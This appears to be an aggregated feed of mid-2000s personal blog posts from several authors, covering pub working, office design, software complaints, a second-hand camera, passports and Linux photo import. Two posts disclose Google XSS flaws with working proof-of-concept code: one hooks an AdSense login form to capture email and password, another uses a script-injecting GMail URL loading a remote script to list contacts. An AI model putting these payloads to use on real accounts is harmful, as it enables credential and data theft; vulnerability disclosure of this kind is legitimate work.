Software - All

As a homeless internet developer, I spend a lot of my time in pubs using their wifi and drinking their beer, drinking beer has a side-effect, and not just on my code quality, my bladder fills and I need to partake of the facillities, this means abandoning the laptop on the table of a strange pub in a strange town - the data’s safe, that’s encrypted - not for me the embarrassment of losing a laptop chock full of an unsecured source tree, but the machine is worth a fair bit, and it’d be bloody annoying too.

So I was thinking - T60’s and indeed all decent laptops already have an accellerometer in it, why isn’t there a program which starts shrieking “Help, Help, he’s stealing me” at full volume. Probably be really crap, but it should at least exist - people?

Of course if you do see a strange bloke sitting in a corner drinking alone yet talking to himself and imaginary people on IRC, go buy him a drink - it might be me.

The Joel production line appears to be claiming that for every programmer can only work one way, that way being in private, with no distractions, and just churning away at a task.

It appears that Joel feels programmers has no artistic parts where inspiration might be needed, he also appears to believe that every programmer has zen like orders of concentration such that they can endlessly code without a single distraction.

Now it’s common that many programmers don’t like interuptions, but not all, I’ve met a few others, generally the best ones I’m working with - perhaps that’s because I reckonise their quality because I interact more with them, or because it is related to a mind that perserveres in an enviroment where most people are not like you are the better programmers - I don’t know. I could never work in a private office, I can work in a pub, or a cafe, or on the sofa with a TV for company and the distraction, but I cannot work in a private office, or a silent open-plan office.

What happens is there aren’t the distractions to trigger inspiration, or to slow down the thought so the code actually written is the code that is in the head. Of course even without noise, the refresh email, refresh usenet, visit bloglines, check the lurking on IRC channels can be used as a distraction - but even with those, I often have to turn to spider solitaire to give the brain a break to solve the particular problem. Of course it may be even more productive to go for a jog, or a walk on the beach, but those aren’t things you can do if you’re having to work in an office - all you can do is walk to the coffee or around the office - if the office is all private rooms you can’t even do that, as you’ll never meet anyone.

Don’t make the mistake of assuming what works for you, will work for everyone, people are very different creatures! One of the big problems I have in a closed enviroment is the length of time it takes to get to know people, can I call that bloke on the team a muppet when he mistakes, or do I have to tread on eggshells around him, can I throw out an idea without people thinking me stupid and not listening next time - everyone will always have stupid ideas, but if they don’t say them they might never say their good ones. I need to get to know the team, both them, and what they’re doing, and how they write code - are they someone who checks in regularly - so there’s no point reporting that bug to them, they’ll know about it just wanted it checked in - or are they someone who checks in only when they think it’s finished so the bug needs reporting.

Writing software, or creating websites is a team activity, if everyone’s in a seperate office where’s the team? Of course teams can work remotely, there’s no need everyone be in the same office - however they then do need an IRC channel or group chat where everyone can overhear the other conversations - and have off topic conversations, otherwise the social interaction never builds up, and you can never learn to trust the other people.

Another day, another XSS flaw, this one in Google again, but this is a little more interesting than the normal ones, what this one shows is how JSON results add an extra vector to attack that might be missed by your QA team.

The problem here was that the JSON was returned with a mime-type of text/html, a browser will render that as if it was an HTML page, even if it’s really just a javascript snippet. The easiest way to protect against these is to ensure that all javascript recieved by the XMLHTTPRequest object is returned with a suitable mime-type - application/json That will mean even when you make a mistake and write un-encoded untrusted data to the document, it won’t allow people to attack your site.

The google exploit was reported here, it’s at the time of writing unpatched, unfortunately that was down to the discoverer not giving google any time to fix, whilst they have had their problems before, recently they have patched quickly, so this was not very fair, or wise. Google also appear to be taking testing their own services for security flaws more seriously, they recently had a presentation to the QA team that you can watch on Google Video.

As I’ve said before, the everything on a single domain causes problems, it means any exploit anywhere on the domain, allows you to exploit any service provided for the domain. This exploit is also present in https:// google, so to re-enforce the problem XSS can present to a user, and why XSS is not simply about cookie stealing. Here’s a simple demonstration of using the exploit to steal username and password from google adsense.

The exploit is simply used to create an IFRAME that fills the document and points it to a google adsense login, when the user logs in, the username and password are alerted - also after logging in, then the “today’s earnings” are alerted. Of course a real attacker would not alert these fields, but would sent them off to a site to be collected later. Are google adsense passwords useful? Would you notice if the address or account to get the cash changed until you’d not got the cheque?

The script code is simple, you don’t need to be clever, and phishers generally aren’t stupid, it takes brains to launder money.

document.body.innerHTML="<div><iframe src='https://www.google.com/adsense/report/overview'"+
" onload='go()' style='position:absolute;top:0;left:0;height:100%;width:100%;'></div>";

function go() {
  try {
  var win=window.frames[0];
  win.document.body.style.overflow="hidden";
  win.document.body.style.border="0px solid white";
  var doc=win.frames[0].document.forms[0];
  doc.onsubmit=function() {
   alert("Your adsense username and password are:n"+
   doc["Email"].value+'nandn'+doc["Passwd"].value);
   x=window.open(location.href);
  }
 } catch (e) {
  try {
   var win=window.frames[0];
   var doc=win.document.body;
   var x="Today's Earnings:"+doc.getElementsByTagName('h1')[0];
   alert(x.getElementsByTagName('span')[0].innerHTML.replace(" ",""));
  } catch (e) {}
 }
}

The result is clear:

<p><a href="http://en.wikipedia.org/en/Bollocks">Bollocks</a> is a lovely word, flexible and not offensive at all to the majority of the British public, yet the Norfolk police think it causes <strong>&#8220;harassment, alarm and distress&#8221;</strong> if you use it as <a href="http://news.bbc.co.uk/1/hi/england/leicestershire/5135150.stm">&#8220;Bollocks to Blair&#8221;</a>. It seems to me that&#8217;s pretty clear that the Norfolk police don&#8217;t understand the law, the harassment, alarm and distress law that is punishable by an 80 pound fixed penalty notice, is the <a href="http://www.webtribe.net/~shg/Public%20Order%20Act%201986%20(1986%20c%2064)%20Sect%204A,%205,%206.htm">Section 5 public order act of 1986</a>. The person is guilty of this offence if:</p> <ul> <li> (b) displays any writing, sign or other visible representation which is threatening, abusive or insulting, </li> </ul> <p>Now, I suppose that you could at a push say it was insulting, but I think it would be a struggle, it&#8217;s certainly not threatening or abusive, so I&#8217;m not sure it&#8217;s an offence at all however, if it is htere are two obvious defences applicable to the words &#8220;bollocks to blair&#8221; on a t-shirt, </p> <ul> <li>(a) that he had <em>no reason to believe</em> that there was any person within hearing or sight who was likely to be caused harassment, alarm or distress, or </li> <li> (c) that his conduct was <em>reasonable</em>.</li> <li>(4) A person is guilty of an offence under section 5 only if he intends his words or behaviour, or the writing, sign or other visible representation, to be threatening, abusive or insulting, <em>or is aware that it may be threatening, abusive or insulting</em> or (as the case may be) he intends his behaviour to be or is aware that it may be disorderly.</li> </ul> <p>Unfortunately this will never make it to court, when Tony Wright requests a court hearing, as is his right under the scheme then <strong>&#8220;the case will be reviewed by a Crown Prosecutor, applying the evidential and public interest test under the Code for Crown Prosecutors.&#8221;</strong> <a href="http://police.homeoffice.gov.uk/news-and-publications/publication/operational-policing/PenaltyNotices_March105.pdf">[PND Op guidence]</a>, and unfortunately I&#8217;m sure they&#8217;ll decide it&#8217;s not in the public interest.</p> <p>We need a court case, the police are wasting too much time on ludicrous things, making simple mistakes, it&#8217;s possible to understand if not quite excuse the police making mistake when under real pressure and <a href="http://en.wikipedia.org/wiki/Jean_Charles_de_Menezes">shooting</a> <a href="http://commentisfree.guardian.co.uk/inayat_bunglawala/2006/06/who_shot_abdul_kahar.html">innocent</a> men, at least there was pressure, but what pressure is there on a policeman sitting in a Norfolk field faced with t-shirts saying &#8220;Bollocks to Blair&#8221;?</p> <p>Bollocks has an interesting history in UK courts, in 1977 there was a case against against a record store and Richard Branson the Sex Pistols album <a href="http://en.wikipedia.org/wiki/Never_Mind_The_Bollocks_Here's_The_Sex_Pistols">http://en.wikipedia.org/wiki/Never_Mind_The_Bollocks_Here&#8217;s_The_Sex_Pistols</a>, that case failed, probably thanks to the defence having a famous QC and Rumpole creator <a href="http://en.wikipedia.org/wiki/John_Mortimer">John Mortimer QC</a> to help in the defence of a minor crime at a magistrates court.</p> <p>Mr. Mortimer managed to sum up in that case saying the excellent<br /> <blockquote>&#8220;What sort of country are we living in if a politician comes to Nottingham and speaks here to a group of people in the city centre and during his speech a heckler replies &#8216;bollocks&#8217;. Are we to expect this person to be incarcerated, or do we live in a country where we are proud of our Anglo Saxon language?&#8221;</p></blockquote> <p>[<a href="http://www.crikey.com.au/articles/2004/10/07-0002.html">ref</a>].</p> <p>Unfortunately it&#8217;s looking increasingly like the Police do what such people to be incarcerated, and this time what famous QC&#8217;s are there that Mr Wright could call on, unfortunately I could only think of one, <a href="http://en.wikipedia.org/wiki/Cherie_Blair">Cherie Booth QC</a>, and I&#8217;m not sure she&#8217;d be up for it. </p>

Actually, this isn’t quite what the title says, I’ve not suddenly gone crazy and used this forum for praise rather than my normal moans, but using some software recently has actually made me feel a lot better about both MediaWiki and Bugzilla, normally I’ve found them difficult to use, but with recent experience of a commercial version of these 2, I’d now positively love to use them.

Confluence and Jira

Confluence is a commercial wiki, Jira a commercial bug tracker, both are from atlassian, they say about their software:

Our software is better because:

• we value brilliant simplicity as a point of differentiation
• we think through the customer’s problems thoroughly, and come up with innovative solutions to their problems

from: http://www.atlassian.com/about/mission.jsp

I can’t really agree with those statements, I’ve had lots of problems with both products, they seem technically okay, there’s not really been many technical problems - non fatal script errors mostly, But the user interfaces are just so odd as to drive you crazy, you just can’t get anything done, one of the big problems is the obsessive use of POST everywhere, so things like a the results of a search doesn’t appear in the history, the user interface is completely inconsistent, there are two EDIT / EDIT links 20pixels apart, one edits the page, another edits tags on the page, it’s not at all clear which is which.

After annoying the poor guy who was looking after the installs I was using, raising bugs, moaning and being generally the annoying person I can be, I went to the atlassian people, which just turned up more problems, they have a link to popular issues which doesn’t list any popular issues for example (there is a list of popular issues, you can find it if you look hard enough.)

Most annoying though was trying to create an account on the official site, it complains if your username has a uppercase letter in it. I can’t understand this, it takes more effort to come up with a usable error message - not that they particularly have, than it does to simply lowercase the field - although quite why you have the restriction at all is another question. I’m not sure how requiring a particular format of username is “brilliant simplicity as a point of differentiation“

So I had a quick look at Google Checkout, expecting to see no background colour, and probably some trivial XSS exploits. I didn’t see an immediately obvious XSS exploit, but they don’t bother to sanitise the continue url or have a charset defined, so there’s probably something you can do there. More interesting were the attempts to actually buy anything. Trying on the google store failed with an

Oops!
An error occurred while processing your request.

There was no way to try again, no way to get back to me order - the first site I tried, a good example of the sort of sites you can use google checkout on, is probably the leading snorkel provision site with Bob in the url Snorkelbob.com didn’t let me use google to pay at all, so I tried Dick’s sporting goods, again, it failed, it just took me to the same oops page, with no way to return.

So whilat I didn’t immediately find the XSS flaws I expected, I definately found a service that doesn’t even begin to work, I don’t think paypal need be worried. I think stores would be rather foolish to sign up with google checkout given the failures I’ve experienced - at the very least you expect error pages to get you back to the store in question, how many lost sales will sites put up with?

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Last night my monitor went "pop" and then it went FZZZZIIIT!!! FZZZZZZZZZZZZZT FZZZZ FZZZZZZZZZZZZZZZZZZ then the magic smoke came out. Apparently there were blue sparks too, I didn't see these (much to my annoyance, if something's going to break in a spectacular way I want to see it!). <br /><br /><p>This of course facilitates purchasing a replacement screen, the model chosen and ordered is a 20" Viewsonic VX2025wm TFT, it should arrive on Tuesday. I didn't want to have to buy a new monitor right now, especially not one that costs ~320 quid when I'm quite skint. Also of note it seems that you really can't buy good CRT screens any more, at least not many people even seem to bother to stock them. The only CRT's that I'd consider to be "good" cost nearly as much as the TFT will.

As proof to the disbelieving #alug'ers I took a photo of me in a newspaper clipping from 17th October 1996 which proves 2 things. First is that yes, i did have dreadlocks, second is that yes, i was once thin. FWIW I was 18 when the photo was taken. <br /><p><br />Photo can be found <a href="http://www.quinophex.org/dreads1.jpg">HERE</a>

"Where Is Baby's Belly Button?" by Karen Katz (kids book)<br /><br><br />My World (Companion to: Goodnight Moon) by Margaret Wise Brown (kids book)<br /><br><br />Pat the Bunny: Touch N Feel (kids book)<br /><br><br />Teletubbies Bath Island. (some kind of toy)<br /><p><br />The SAS Self-Defense Handbook: A Complete Guide to Unarmed Combat Techniques by John "Lofty" Wiseman. (I guess this is useful for parents who have a toddler who is just starting to walk as they need all the help they can get)<br /><br><br />The SAS Mental Endurance Handbook by Chris McNab (help with coping with a toddler who is having a tantrum?)

Javascript libraries have become increasingly common, there’s a whole plethora to choose from, with a different range of feature sets. They allow you to rapidly prototype something, but I will argue below that they shouldn’t yet be used in a real environment. If you’ve followed my usenet discussions, or got me on the topic over a beer or on IRC, you’ll know everything below, the themes have been knocking around my head for a long time, Andrea Campi finally triggered the post.

The first complaint is code size, and it’s not particularly important to me, compared to the second, but I’m only going to address two, and depressingly this is the one other people seem to care about more. Code size, Dean Edwards noted this problem with respect to Yahoo’s library, a tree menu in 250kb (or maybe 100kb of compressed script) [*] Jeff Rafter recently wrote a treeview, it’s 6k or so. I have no idea on the quality, but it’s definately better than the yahoo one in that it degrades to HTML, and has drag’n'drop moving - it was just one I’d recently seen for the example.

For most projects, the javascript is basically incidental, it’s a little effect, or a little piece of user interface like a tree view, that improves the page a little, these are simple, they can be written quickly - re-using code from “a copy and paste library” - and do just what you want and no more, which means they are a fraction of the size for the user to download. With so many of these libraries waiting until onload before they can do anything, this is particularly relevant - the user spends there whole time waiting to interact with the page until everything has downloaded, it may work great when using it locally or on your business adsl, but it’s a nightmare on a broadband connection that’s saturated with p2p data.

QA, or the bigger problem

For me, the much bigger problem is QA’ing sites that are based on libraries, let’s use a hypothetical example. You’re creating a large site, 100 pages, you’re using a library, it does 90% of what you want to do and is well supported, with frequent an irregular releases involving new features and bug fixes.

First up is what do you do about the 10%, to keep with the advantages of a library, you really need to integrate your new features into the library, which might be fine if the library developers accepted your changes into the core library, but we’ll assume they don’t (which isn’t unreasonable, you’d probably not want the cost of making the code universal enough for a library anyway). This means you’ve now got a patched library to the core one available on the website.

Your code arrives at QA, hopefully an internal QA resource, but it could just be the public if you follow the no QA, who cares policy of web 2.0 companies. They find the inevitable bugs, you fix them, feeding the fixes back to the library developer and launch.

Three months later, and want to add a couple of new features to one of your pages, the library has had some changes, this is where the problems arrive. The 10% it doesn’t do is now 5%, but they’ve solved it differently to you did, the bugs you fixed are integrated, and so are a number of others. What do you do? If you change the library to the new one, every one of your 100 pages needs to go through QA again, the impact of changing the library code has an immense cost in time to retest everything, this is of course especially relevant if your fixing a security flaw. Yahoo have already shown they can’t write javascript without security flaws.

Of course if you’ve written the script yourself, you’ll still have issues, but, the script will be smaller, it will do only what’s necessary, the scripts will only touch the pages they’re used in, so if you need to fix a flaw in your tree menu, the tree menu script will only impact those pages with tree-menus on, and there won’t be any external dependency.

This concern mostly comes down to the fact that I always see QA as one of the hardest areas in a web project, QA is often underfunded, but even when not, recruiting good testers is tough, there’s not that many about, and even ones who are good, often want to move into other areas - probably because of the underfunding. Libraries may reduce your development costs a little (although I’m not even convinced of this), but they certainly harm your testing cost.

A unit testing framework for the libraries could certainly change this, however the animation and CSS related issues that so often occure are very difficult to test, browser DOM’s are not deterministic, so can’t be stubbed out, equally often the DOM makes sense, but a bug elsewhere causes the rendering or interaction to fail, these sort of things mean you need humans involved, and humans cost money.

So use the libraries for prototyping, or quick and dirty short term projects, but stay away on the larger project unless your QA resoures are massive.

The size is made worse of course by the fact yahoo’s developer resources aren’t cacheable, particularly bad for a company that employees the author of the cacheability engine.

A few weeks back I joined lots of people mapping the isle of wight for openstreetmap, it was a good weekend, we mapped a lot of the island, collecting a lot of tracks and taking lots of photos, people are still editing the tracks, especially adding names. Is the area around where we all stayed - a caravan, right on the beach at Grange Farm, which I can definately recommend!

Openstreetmap is going along very well collecting roads, but it’s still quite hard to make quick little edits or to add information to, mostly this is down to the applet. What we really want is the ability to make it as easy as wikipedia to add some information to a map. If you’re looking at a map of your local area and know a road has just become one-way, or the cafe has closed down, or the church is now a wine-bar, it would be great if you could actually change it, or at least add comments to regions.

Osmarender, is an XSLT script that generates SVG, I think this would make a great editing layer, you could view the SVG map, and also edit, writing the editor on top of Osmarender is pretty simple I think - the bigger problem is the speed of current SVG user agents, hopefully that will change in the future.

Unfortunately I don’t really have any time at the moment, I’m busy doing real work, which is nice in some ways, it would be really good as it’s pretty interesting stuff, unfortunately there’s a lot of overhead, detailed tracking what I’m doing when, irrelevant travel to meetings, endless 28meg SVN diff’s eating all bandwidth, forced to use particular software - just lots of overhead, rather than getting stuff done. Still the other people are all very good so I can stick with it a bit longer before jacking it in and heading off to the beach. Which won’t get OSM-wiki-annotation written either, but still I’ll be happier.

I've got a few subscriptions to New Scientist RSS feeds, I used to subscribe to the print magazine but not find the time to read it and would just end up with a huge stack of the magazines I'd eventually throw out. So, I figured reading content online linked to from the RSS feeds would be a good way of reading the articles I want without having a costly subscription to something I'm not actually going to use. <br /><p><br />Of course New Scientist mix up the links in the RSS feeds so that quite a few of them (mainly the interesting ones that I want to read) are "subscribers only" which means you need a subscription to the print magazine. They don't offer any subscription option for their website only which is all that me and <span class='ljuser' lj:user='wildduckling' style='white-space: nowrap;'><a href='http://wildduckling.livejournal.com/profile'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://wildduckling.livejournal.com/'><b>wildduckling</b></a></span> want as we don't have the time to digest the magazine each week. As a result I've now removed their RSS feeds, it seems they are losing out much more than I am, especially as Nasa and other places have good science RSS feeds available. I'd even have given them some money for an online subscription!<br /><p><br />Rant over.

My Canon S2 IS arrived today, the one I purchased from <a href="http://www.savastore.com">savastore</a> for "not much" as it was "missing packaging or box". It's a cool camera, except... for a slight problem with the "missing packaging or box". <br /><p><br />I get the new camera, the box is a bit battered about and I note that a few bits of paper you'd expect with a new camera are missing, not a big deal as the manual is there, just a bit annoying. Then I notice the fingerprints on the camera, "perhaps they just test them before shipping them out again". Then I run the most excellent photorec <a href="http://www.cgsecurity.org/photorec.html">photorec</a>on the supplied memory card as I'm feeling a bit suspicious. It reveals 1 photo of a baby (the exif data says the shot was taken on the 10th March this year) and a short video of the same baby (I reckon this baby is about 1 year old) trashing the box that the camera came in. I also note that the first photo I took was numbered 28, so at least 27 photos have been taken with this camera in the past. Also the amount of packing materials I am familiar with when you purchase a Canon camera are not present (I've owned a Canon EOS 300 film camera, Powershot A40, Canon EOS 300D, Powershot S70 and now the S2 IS) especially a quick start guide etc.<br /><p><br />I can only guess that "missing packaging or box" from Savastore.com means "was purchased from us, got returned so is now secondhand but we don't want to tell you that because we are a bunch of crooks". I also note that savastore.com are part of Watford electronics (also known as Watfraud in certain newsgroups!) who pulled this stunt on me about 8 years ago when I purchased a scanner from them which came with the previous purchasers RMA note in it. I mean, yeah I got the camera cheap, but not cheap enough given that it is secondhand, they claim it comes with the standard 12 month Canon warranty, if I get problems and it isn't covered by Canon then I'm going to do a chargeback or see them (Watford/savastore) in small claims court. <br /><p><br />Anyhow, the moral of this story is don't buy anything from savastore.com or watford electronics because they have kept up their crookedness for over 8 years now! (I'm also not using the pitifully small 16 Meg SD card so I can prove their crookedness if necessary). I just feel rather pissed that if they'd told me it was a customer return and given me a bit more of a reasonable discount then I'd have been happy but they decided to be a bit dodgy to try and make themselves an extra 50 quid.

I just got an eye test done today, I try to get these done every couple of years as recommended as I use computers lots and have good eyesight something I'd like to keep as long as I can manage it.<br /><p><br />Anyhow, it turns out my eyesight is still better than 20/20 so much so that he didn't actually write a prescription on the bit of paper just some letters that appear to say "plcuo" which I have no idea what this means. Apparently I had the best eyes he'd seen all week and quite unusual to see them that good (although this is mainly due to people who have good eyesight not bothering to get their eyes tested as much as people who can't see past the end of their nose).

We'd been planning to get new passports for a while, Beatrice didn't have one mine was going to expire in just under a year and Kirsty's isn't machine readable (it was issued by a UK embassy a few years ago so it didn't get a machine readable part). Anyhow, with all the fuss about ID cards I read about <a href="http://www.renewforfreedom.org/">Renew for freedom</a> which is part of the <a href="http://www.no2id.net/">no2id</a> campaign against ID cards. Basically if you renew your passport now then you will avoid ID cards for up to 10 years as the government plan to make it compulsory to have an ID card when you apply for a passport in the future, to capitalise on this no2id have made the renew for freedom campaign to encourage people who are anti-id card to renew their passports this month. <br /><p><br />Anyhow, applications are now in the post, total cost 136 quid for 3 passports! I sort of wish we'd done this last year as it would have cost 27 quid less, this just shows another good reason to renew your passport now in that by the time ID cards come in a passport will cost somewhere around 100 quid each with your compulsory ID card so you could stand to save a fair bit of money. <br /><p><br />In other news I hear that Big Ears has just lost his job as home secretary, what a shame, I may have to go out tonight and get pissed to celebrate the good news :)

I just decided that I want to make some old postings friends only and what would be really excellent would be way to make new postings friends only after a set period of time (like 7 days) so I can blog about Bea and provide links to pictures etc. but not have the info lurking across the internet forever and a day. Anyhow, it appears you can't do this. Suckage.<br /><p><br />The other sucky thing is that there is no easy way of making old postings all friends only or a better option would be a nice list of all the old postings and being able to select which ones to turn friends only but you can't. You have to go through each entry individually and then select friends only in a drop down list and then use the back button lots. I'm considering hosting my own blog elsewhere, or looking at some better tools for managing this one on livejournal.

I’ve been creating things that are lot like what are now called widgets for a long time, HTML+Javascript applications with full trust. I’ve always used something called Zeepe which turns IE into a fully trusted containier that you can launch locally (or even from the web, if you’ve got a licence and use the trust model).

Zeepe is much richer than other widget platforms on windows currently, not least because it allows complete connection to all windows COM objects - so you really can connect to anything, I use it for automating Windows Media Encoder and recording video streams, or as a Database management tool. I don’t know how capable the OS-X dashboard is, it may well be able to do similar stuff, but until there’s a powerbook with a nipple and release IE6 for OS-X I’ll stick with XP.

The widget system from Opera is new, last week at the gathering Opera ran a widget competition, and lots of widget folk arrived in #svg on freenode asking how to use all that cool opera SVG in the widget. I had a couple of hours so I decided to join in and create a quick widget.

Another cool thing that Opera have is the My Opera FOAF data they provide for everyone, so in a foafnaut kind of style, I decided to create widgnaut, a browser of the data. It’s very ugly but it shows some nice features of widgets and RDF and how easy such connections of data can be made once you escape the security constraints of browsers, but still use all those easy HTML/javascript features.

Opera Widgets currently have a few problems, which make the sort of widgets I like to create not really viable, the 2 big ones are:

• You can’t decide where to position your initial widget, or control its location, this means widgets like widgnaut which really need full screen rely on the positioning it in a particular place.
• The screen darkens! This just seems very silly, I can’t understand the use case for this at all, if I want a widget, it doesn’t mean I don’t want the other stuff on the screen. A calendar widget, I still need to copy info to my other applications, once they’ve gone dark, I can’t even access them, let alone anything else. This didn’t happen on builds earlier than the Beta, so hopefully it will go away again.

Opera widgets are still good though, easy to create, and useful, just not quite ready for my perhaps odd requirements.

Today was my dads 70th birthday, so we (my family) all clubbed together to buy him a digital camera (he's been wanting one for a while) after looking at our total budget we figured we could get a Canon Powershot A430, a nice simple camera for beginners and then get a shedload of memory cards, a case and some batteries and a charger. Of course this camera is new, like, it came out about 2 months ago. Before purchasing It I googled getting it running with Linux but couldn't find any info on this, I usually take this to mean either nobody tried or it works perfectly. <br /><p><br />Anyhow, Dads birthday today, my sister had wrapped each part of the present seperately, so he started opening batteries and charger, then a case... seemingly none the wiser just slightly confused with the weird gifts. Then he got some SD memory cards, at first he looked really confused, then a few seconds later you could see the blocks dropping into place as he was handed the final package. He seemed very pleased, a few minutes later we had the supplied alkaline batteries in the cam and a memory card and we were snapping photos. <br /><p><br />Fast forward to this evening, I take the laptop running Ubuntu through and ask my dad if he wants to look at his photos, at first he is a bit concerned at the manual doesn't say anything about Linux (ok, for a technophobe, he knows about Linux because I run it and make my living administering it) so I ask for the Camera and the USB cable. The USB cable has a paper packet wrapped around it with dire warnings on it about connecting the camera to the computer without installing the software first, I tell my dad not to worry about this and he hands over the camera.<br /><p><br />I then plug the USB cable into the camera, then plug the cable into the laptop, set the camera to the display images option and turn it on. Ubuntu immediately springs into life with a "you just connected a camera with photos on it to the computer, do you want to import the photos to your album?" yes/no? (or something similar). To which I click yes, then I get another dialogue box asking me how i want the photos on the computer so I just click "yes" again. Anyhow, a few seconds later we have the photos on the camera in an application that allowed us to do a slideshow. How excellent is that!<br /><p><br />Anyhow, the Canon Powershot A430 works lovely with Linux and seems to be a nice little camera, I'd really like one to replace my olders Powershot A40 so that's another thing to start saving up for. Full marks to Ubuntu and Linux for being great and reducing the amount of dicking around needed to get at the photos!

<p>Despite the <a href="http://jibbering.com/blog/?p=506">flaw</a> being announced a long time ago, the google Book search flaw is still broken. It&#8217;s surprising that Google aren&#8217;t taking it more seriously, this one is very easy to use to automate a users GMail account, stealing contacts, or sending email if they are logged into google when they&#8217;re tricked into visiting such a page.</p> <p>Here&#8217;s an example that will list your gmail contacts <a href="http://mail.google.com/search?hl=en&#038;lr=&#038;rls=GGLD%2CGGLD%3A2003-47%2CGGLD%3Aen&#038;q=%3Cscript+src%3D%22http%3A%2F%2Fjibbering.com%2Ftest6.js%22%3EOR+%3Cscript%3Ebooks%3C%2Fscript%3E">List your gmail contacts</a> </p> <p>There&#8217;s no reason why a page cannot also send emails, steal the contents emails or anything else. Given the length of time this has been public (I didn&#8217;t find this flaw, it was posted to bugtraq on the 4th April, or 6 days ago) it&#8217;s very possible that a worm that stole GMail information is already circulating. Disable script on google.com!</p> <p>The script that gets the contacts is trivial:<br /> <code> <pre> function x() { xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET","http://mail.google.com/mail/?view=page&#038;name=contacts&#038;ver=e0ad439ebad5ad16",false); xmlhttp.send(''); return xmlhttp.responseText; } </pre> <p></code></p> <p>the x function then contains a json structure containing the contacts, this can be easily changed into the output format with some simple regular expressions: see <a href="http://jibbering.com/test6.js">test6.js</a> for those and the complete included script. The livehttpheaders extension in FireFox is how to find out how to do other things. </p>

<table align="center" cellpadding="20"> <tbody><tr> <td align="center"> <font size="5"><b>Your brain: 40% interpersonal, 180% visual, 80% verbal, and 100% mathematical!</b></font><br> </td> </tr> <tr> <td> Congratulations on being 400% smart! Actually, on my test, everyone is. The above score breaks down <font color="blue"><b>what kind of thinking you most enjoy</b></font> doing. A score above 100% means you use that kind of thinking more than average, and a score below 100% means you use it less. It says nothing about how good you are at any one, just how <i>interested</i> you are in each, relatively. A substantial difference in scores between two people means, conclusively, that they are <font color="#006600">different kinds</font> of thinkers.<br /><br><br><br /><br /><b>Matching Summary:</b> Each of us has different tastes. Still, I offer the following advice, which I think is obvious:<br><br><br /><ol><li>Don't date someone if your <font color="#ff0066">interpersonal percentages</font> differ by more than <font color="#ff0066">80%</font>.<br /></li><li>Don't be friends with someone if your <font color="#ff6600">verbal percentages</font> differ by more than <font color="#ff6600">100%</font>.<br /></li><li>Don't have sex with someone if their <font color="#009900">math percentage</font> is over <font color="#009900">200%</font>.</li></ol><br /> </td> </tr> <tr> <td align="center"> <img src="http://is0.okcupid.com/users/704/510/7055112809383642671/mt1111506225.gif"> </td> </tr> </tbody></table> <br><br><br> <table cellpadding="20"> <tbody><tr> <td> <span>My test tracked 4 variables How you compared to other people <i>your age and gender</i>:<blockquote><table border="0" cellpadding="0" cellspacing="4"><tbody><tr><td valign="middle"><table bgcolor="black" border="0" cellpadding="0" cellspacing="1"><tbody><tr><td bgcolor="#b2cfff" height="20" width="30"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td><td bgcolor="white" width="120"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td></tr></tbody></table></td><td valign="middle">You scored higher than <b>20%</b> on <b>interpersonal</b></td></tr><tr><td valign="middle"><table bgcolor="black" border="0" cellpadding="0" cellspacing="1"><tbody><tr><td bgcolor="#b2cfff" height="20" width="137"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td><td bgcolor="white" width="13"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td></tr></tbody></table></td><td valign="middle">You scored higher than <b>91%</b> on <b>visual</b></td></tr><tr><td valign="middle"><table bgcolor="black" border="0" cellpadding="0" cellspacing="1"><tbody><tr><td bgcolor="#b2cfff" height="20" width="77"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td><td bgcolor="white" width="73"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td></tr></tbody></table></td><td valign="middle">You scored higher than <b>51%</b> on <b>verbal</b></td></tr><tr><td valign="middle"><table bgcolor="black" border="0" cellpadding="0" cellspacing="1"><tbody><tr><td bgcolor="#b2cfff" height="20" width="50"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td><td bgcolor="white" width="100"><a href="http://www.okcupid.com"><img src="http://is3.okcupid.com/graphics/0.gif" alt="free online dating" border="0"></a></td></tr></tbody></table></td><td valign="middle">You scored higher than <b>33%</b> on <b>mathematical</b></td></tr></tbody></table></blockquote></span> </td> </tr> </tbody></table> <table cellpadding="20"><tr><td>Link: <a href="http://www.okcupid.com/tests/take?testid=15273633770079357960">The 4-Variable IQ Test</a> written by <a href="http://www.okcupid.com/profile?tuid=7055112809383642671">chriscoyne</a> on <a href="http://www.okcupid.com">Ok Cupid</a>, home of the <a href="http://www.okcupid.com/oktest3">32-Type Dating Test</a></td></tr></table>

Anthony Towns notes I didn't vote in the debian general resolution. I didn't vote for two reasons: the vote was held at a very bad time, when many of us have more fun things to do than debug misbehaving "holiday" mail systems, and I think the proposed worst outcome wasn't legal anyway, so the vote was irrelevant for years, any road up.

I'm not delighted about the outcome, but it's better than it could have been.

Ok, this is me wondering if I am some kind of f**kloon or if other people have this same problem as me....<br /><p><br />At the moment I am editing together a DVD of home video footage of baby Bea from when she was born up until recently, this is for <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span> as she wants to give this DVD to her father as an xmas present (he asked for this).<br /><p><br />The trouble I am having at the moment is that I find I really can't stand to hear the sound of my own voice on a recording, it sounds all geeky and squeaky and not at all like how I actually hear my own voice when I'm speaking, it totally makes me cringe. Of course this is not making the editing of the video very easy. Although, originally <span class='ljuser' style='white-space: nowrap;'><a href='http://www.livejournal.com/userinfo.bml?user=wildduckling'><img src='http://stat.livejournal.com/img/userinfo.gif' alt='[info]' width='17' height='17' style='vertical-align: bottom; border: 0;' /></a><a href='http://www.livejournal.com/users/wildduckling/'><b>wildduckling</b></a></span> was supposed to be making this DVD, but she was taking so much time and asking me so many questions of Kino that I got annoyed and impatient with her. Then she bribed me into doing it saying I can 